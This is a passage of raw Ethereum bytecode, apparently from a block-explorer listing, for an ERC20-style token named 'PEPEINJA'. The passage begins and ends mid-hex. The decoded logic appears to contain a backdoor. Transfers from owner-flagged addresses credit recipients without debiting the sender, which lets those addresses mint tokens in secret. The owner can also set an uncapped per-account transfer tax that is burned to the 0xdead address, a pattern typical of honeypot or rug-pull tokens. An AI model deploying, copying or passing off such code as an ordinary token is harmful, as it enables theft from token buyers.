fffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a690612140565b60405180910390fd5b8060088190555050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006109e96111af565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6f90612140565b60405180910390fd5b600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000610ac96111af565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4f90612140565b60405180910390fd5b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610bfd6111af565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8390612140565b60405180910390fd5b610c966000611aac565b565b606060038054610ca7906120c3565b80601f0160208091040260200160405190810160405280929190818152602001828054610cd3906120c3565b8015610d205780601f10610cf557610100808354040283529160200191610d20565b820191906000526020600020905b815481529060010190602001808311610d0357829003601f168201915b5050505050905090565b600080610d356111af565b905060008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083811015610dfa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df190612235565b60405180910390fd5b610e0782868684036111b7565b60019250505092915050565b600080610e1e6111af565b905060011515600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503610ed85782600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ec7919061218f565b925050819055506001915050610ee9565b610ee381858561140b565b60019150505b92915050565b600090565b610efc6111af565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8290612140565b60405180910390fd5b6000811015610fcf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc6906122c7565b60405180910390fd5b80600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6110a56111af565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611134576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112b90612140565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036111a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119a90612359565b60405180910390fd5b6111ac81611aac565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611226576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121d906123eb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611295576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128c9061247d565b60405180910390fd5b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516113729190611eec565b60405180910390a3505050565b600061138b8484611017565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461140557818110156113f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ee906124e9565b60405180910390fd5b61140484848484036111b7565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361147a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114719061257b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036114e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e09061260d565b60405180910390fd5b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611570576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115679061269f565b60405180910390fd5b6000600190506115808585611b72565b1561158a57600090505b600081156117555760008073ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116a057600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16036116445760085490505b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff160361169f5760095490505b5b6000600b60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561172b57600b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b61175160646117438388611c1d90919063ffffffff16565b611c3390919063ffffffff16565b9150505b60008111156118f4576117b081600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c4990919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611847816005600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c5f90919063ffffffff16565b6005600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061dead73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118eb9190611eec565b60405180910390a35b611951818561190391906126bf565b600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c4990919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119f181856119a391906126bf565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c5f90919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8387611a8f91906126bf565b604051611a9c9190611eec565b60405180910390a3505050505050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c155750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b905092915050565b60008183611c2b91906126f3565b905092915050565b60008183611c419190612764565b905092915050565b60008183611c5791906126bf565b905092915050565b60008183611c6d919061218f565b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611caf578082015181840152602081019050611c94565b60008484015250505050565b6000601f19601f8301169050919050565b6000611cd782611c75565b611ce18185611c80565b9350611cf1818560208601611c91565b611cfa81611cbb565b840191505092915050565b60006020820190508181036000830152611d1f8184611ccc565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611d5782611d2c565b9050919050565b611d6781611d4c565b8114611d7257600080fd5b50565b600081359050611d8481611d5e565b92915050565b6000819050919050565b611d9d81611d8a565b8114611da857600080fd5b50565b600081359050611dba81611d94565b92915050565b60008060408385031215611dd757611dd6611d27565b5b6000611de585828601611d75565b9250506020611df685828601611dab565b9150509250929050565b60008115159050919050565b611e1581611e00565b82525050565b6000602082019050611e306000830184611e0c565b92915050565b600060208284031215611e4c57611e4b611d27565b5b6000611e5a84828501611d75565b91505092915050565b6000819050919050565b6000611e88611e83611e7e84611d2c565b611e63565b611d2c565b9050919050565b6000611e9a82611e6d565b9050919050565b6000611eac82611e8f565b9050919050565b611ebc81611ea1565b82525050565b6000602082019050611ed76000830184611eb3565b92915050565b611ee681611d8a565b82525050565b6000602082019050611f016000830184611edd565b92915050565b611f1081611e00565b8114611f1b57600080fd5b50565b600081359050611f2d81611f07565b92915050565b60008060408385031215611f4a57611f49611d27565b5b6000611f5885828601611d75565b9250506020611f6985828601611f1e565b9150509250929050565b600080600060608486031215611f8c57611f8b611d27565b5b6000611f9a86828701611d75565b9350506020611fab86828701611d75565b9250506040611fbc86828701611dab565b9150509250925092565b600060ff82169050919050565b611fdc81611fc6565b82525050565b6000602082019050611ff76000830184611fd3565b92915050565b60006020828403121561201357612012611d27565b5b600061202184828501611dab565b91505092915050565b61203381611d4c565b82525050565b600060208201905061204e600083018461202a565b92915050565b6000806040838503121561206b5761206a611d27565b5b600061207985828601611d75565b925050602061208a85828601611d75565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806120db57607f821691505b6020821081036120ee576120ed612094565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865204f776e6572600082015250565b600061212a602083611c80565b9150612135826120f4565b602082019050919050565b600060208201905081810360008301526121598161211d565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061219a82611d8a565b91506121a583611d8a565b92508282019050808211156121bd576121bc612160565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b600061221f602583611c80565b915061222a826121c3565b604082019050919050565b6000602082019050818103600083015261224e81612212565b9050919050565b7f4163636f756e7420746178206d7573742062652067726561746572207468616e60008201527f206f7220657175616c20746f2031000000000000000000000000000000000000602082015250565b60006122b1602e83611c80565b91506122bc82612255565b604082019050919050565b600060208201905081810360008301526122e0816122a4565b9050919050565b7f4f776e61626c653a206e6577204f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612343602683611c80565b915061234e826122e7565b604082019050919050565b6000602082019050818103600083015261237281612336565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006123d5602483611c80565b91506123e082612379565b604082019050919050565b60006020820190508181036000830152612404816123c8565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612467602283611c80565b91506124728261240b565b604082019050919050565b600060208201905081810360008301526124968161245a565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b60006124d3601d83611c80565b91506124de8261249d565b602082019050919050565b60006020820190508181036000830152612502816124c6565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612565602583611c80565b915061257082612509565b604082019050919050565b6000602082019050818103600083015261259481612558565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006125f7602383611c80565b91506126028261259b565b604082019050919050565b60006020820190508181036000830152612626816125ea565b9050919050565b7f45524332303a207472616e7366657220416d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000612689602683611c80565b91506126948261262d565b604082019050919050565b600060208201905081810360008301526126b88161267c565b9050919050565b60006126ca82611d8a565b91506126d583611d8a565b92508282039050818111156126ed576126ec612160565b5b92915050565b60006126fe82611d8a565b915061270983611d8a565b925082820261271781611d8a565b9150828204841483151761272e5761272d612160565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061276f82611d8a565b915061277a83611d8a565b92508261278a57612789612735565b5b82820490509291505056fea2646970667358221220e8f251c060cbb7520d8d012eeda397a0af37787d958c77286337b45a6cb68a9564736f6c63430008120033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000005f5e1000000000000000000000000000000000000000000000000000000000000000007504550494e4a41000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007504550494e4a4100000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061014d5760003560e01c806349bd5a5e116100c3578063a457c2d71161007c578063a457c2d7146103b4578063a9059cbb146103e4578063b4a99a4e14610414578063c4e7c16514610432578063dd62ed3e1461044e578063f2fde38b1461047e5761014d565b806349bd5a5e146102de5780635dd7c8ac146102fc5780636c9992b31461032c57806370a082311461035c578063715018a61461038c57806395d89b41146103965761014d565b80631f478f1e116101155780631f478f1e1461020c57806323b872dd146102285780632c91d07114610258578063313ce5671461027457806339509351146102925780633de94b45146102c25761014d565b806306fdde0314610152578063095ea7b3146101705780630e5133b7146101a05780631694505e146101d057806318160ddd146101ee575b600080fd5b61015a61049a565b6040516101679190611d05565b60405180910390f35b61018a60048036038101906101859190611dc0565b61052c565b6040516101979190611e1b565b60405180910390f35b6101ba60048036038101906101b59190611e36565b61054f565b6040516101c79190611e1b565b60405180910390f35b6101d861063c565b6040516101e59190611ec2565b60405180910390f35b6101f6610660565b6040516102039190611eec565b60405180910390f35b61022660048036038101906102219190611f33565b61066a565b005b610242600480360381019061023d9190611f73565b61075c565b60405161024f9190611e1b565b60405180910390f35b610272600480360381019061026d9190611e36565b61078b565b005b61027c610866565b6040516102899190611fe2565b60405180910390f35b6102ac60048036038101906102a79190611dc0565b61086f565b6040516102b99190611e1b565b60405180910390f35b6102dc60048036038101906102d79190611ffd565b610918565b005b6102e66109b9565b6040516102f39190612039565b60405180910390f35b61031660048036038101906103119190611e36565b6109df565b6040516103239190611eec565b60405180910390f35b61034660048036038101906103419190611e36565b610abf565b6040516103539190611e1b565b60405180910390f35b61037660048036038101906103719190611e36565b610bac565b6040516103839190611eec565b60405180910390f35b610394610bf5565b005b61039e610c98565b6040516103ab9190611d05565b60405180910390f35b6103ce60048036038101906103c99190611dc0565b610d2a565b6040516103db9190611e1b565b60405180910390f35b6103fe60048036038101906103f99190611dc0565b610e13565b60405161040b9190611e1b565b60405180910390f35b61041c610eef565b6040516104299190612039565b60405180910390f35b61044c60048036038101906104479190611dc0565b610ef4565b005b61046860048036038101906104639190612054565b611017565b6040516104759190611eec565b60405180910390f35b61049860048036038101906104939190611e36565b61109d565b005b6060600280546104a9906120c3565b80601f01602080910402602001604051908101604052809291908181526020018280546104d5906120c3565b80156105225780601f106104f757610100808354040283529160200191610522565b820191906000526020600020905b81548152906001019060200180831161050557829003601f168201915b5050505050905090565b6000806105376111af565b90506105448185856111b7565b600191505092915050565b60006105596111af565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105df90612140565b60405180910390fd5b600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000600154905090565b6106726111af565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610701576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106f890612140565b60405180910390fd5b80600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000806107676111af565b905061077485828561137f565b61077f85858561140b565b60019150509392505050565b6107936111af565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610822576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081990612140565b60405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006012905090565b60008061087a6111af565b905061090d8185856000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610908919061218f565b6111b7565b600191505092915050565b6109206111af565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a690612140565b60405180910390fd5b8060088190555050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006109e96111af565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6f90612140565b60405180910390fd5b600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000610ac96111af565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4f90612140565b60405180910390fd5b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610bfd6111af565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8390612140565b60405180910390fd5b610c966000611aac565b565b606060038054610ca7906120c3565b80601f0160208091040260200160405190810160405280929190818152602001828054610cd3906120c3565b8015610d205780601f10610cf557610100808354040283529160200191610d20565b820191906000526020600020905b815481529060010190602001808311610d0357829003601f168201915b5050505050905090565b600080610d356111af565b905060008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083811015610dfa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df190612235565b60405180910390fd5b610e0782868684036111b7565b60019250505092915050565b600080610e1e6111af565b905060011515600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503610ed85782600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ec7919061218f565b925050819055506001915050610ee9565b610ee381858561140b565b60019150505b92915050565b600090565b610efc6111af565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8290612140565b60405180910390fd5b6000811015610fcf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc6906122c7565b60405180910390fd5b80600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6110a56111af565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611134576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112b90612140565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036111a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119a90612359565b60405180910390fd5b6111ac81611aac565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611226576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121d906123eb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611295576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128c9061247d565b60405180910390fd5b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516113729190611eec565b60405180910390a3505050565b600061138b8484611017565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461140557818110156113f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ee906124e9565b60405180910390fd5b61140484848484036111b7565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361147a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114719061257b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036114e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e09061260d565b60405180910390fd5b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611570576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115679061269f565b60405180910390fd5b6000600190506115808585611b72565b1561158a57600090505b600081156117555760008073ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116a057600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16036116445760085490505b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff160361169f5760095490505b5b6000600b60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561172b57600b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b61175160646117438388611c1d90919063ffffffff16565b611c3390919063ffffffff16565b9150505b60008111156118f4576117b081600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c4990919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611847816005600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c5f90919063ffffffff16565b6005600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061dead73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118eb9190611eec565b60405180910390a35b611951818561190391906126bf565b600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c4990919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119f181856119a391906126bf565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c5f90919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8387611a8f91906126bf565b604051611a9c9190611eec565b60405180910390a3505050505050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c155750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b905092915050565b60008183611c2b91906126f3565b905092915050565b60008183611c419190612764565b905092915050565b60008183611c5791906126bf565b905092915050565b60008183611c6d919061218f565b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611caf578082015181840152602081019050611c94565b60008484015250505050565b6000601f19601f8301169050919050565b6000611cd782611c75565b611ce18185611c80565b9350611cf1818560208601611c91565b611cfa81611cbb565b840191505092915050565b60006020820190508181036000830152611d1f8184611ccc565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611d5782611d2c565b9050919050565b611d6781611d4c565b8114611d7257600080fd5b50565b600081359050611d8481611d5e565b92915050565b6000819050919050565b611d9d81611d8a565b8114611da857600080fd5b50565b600081359050611dba81611d94565b92915050565b60008060408385031215611dd757611dd6611d27565b5b6000611de585828601611d75565b9250506020611df685828601611dab565b9150509250929050565b60008115159050919050565b611e1581611e00565b82525050565b6000602082019050611e306000830184611e0c565b92915050565b600060208284031215611e4c57611e4b611d27565b5b6000611e5a84828501611d75565b91505092915050565b6000819050919050565b6000611e88611e83611e7e84611d2c565b611e63565b611d2c565b9050919050565b6000611e9a82611e6d565b9050919050565b6000611eac82611e8f565b9050919050565b611ebc81611ea1565b82525050565b6000602082019050611ed76000830184611eb3565b92915050565b611ee681611d8a565b82525050565b6000602082019050611f016000830184611edd565b92915050565b611f1081611e00565b8114611f1b57600080fd5b50565b600081359050611f2d81611f07565b92915050565b60008060408385031215611f4a57611f49611d27565b5b6000611f5885828601611d75565b9250506020611f6985828601611f1e565b9150509250929050565b600080600060608486031215611f8c57611f8b611d27565b5b6000611f9a86828701611d75565b9350506020611fab86828701611d75565b9250506040611fbc86828701611dab565b9150509250925092565b600060ff82169050919050565b611fdc81611fc6565b82525050565b6000602082019050611ff76000830184611fd3565b92915050565b60006020828403121561201357612012611d27565b5b600061202184828501611dab565b91505092915050565b61203381611d4c565b82525050565b600060208201905061204e600083018461202a565b92915050565b6000806040838503121561206b5761206a611d27565b5b600061207985828601611d75565b925050602061208a85828601611d75565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806120db57607f821691505b6020821081036120ee576120ed612094565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865204f776e6572600082015250565b600061212a602083611c80565b9150612135826120f4565b602082019050919050565b600060208201905081810360008301526121598161211d565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061219a82611d8a565b91506121a583611d8a565b9250828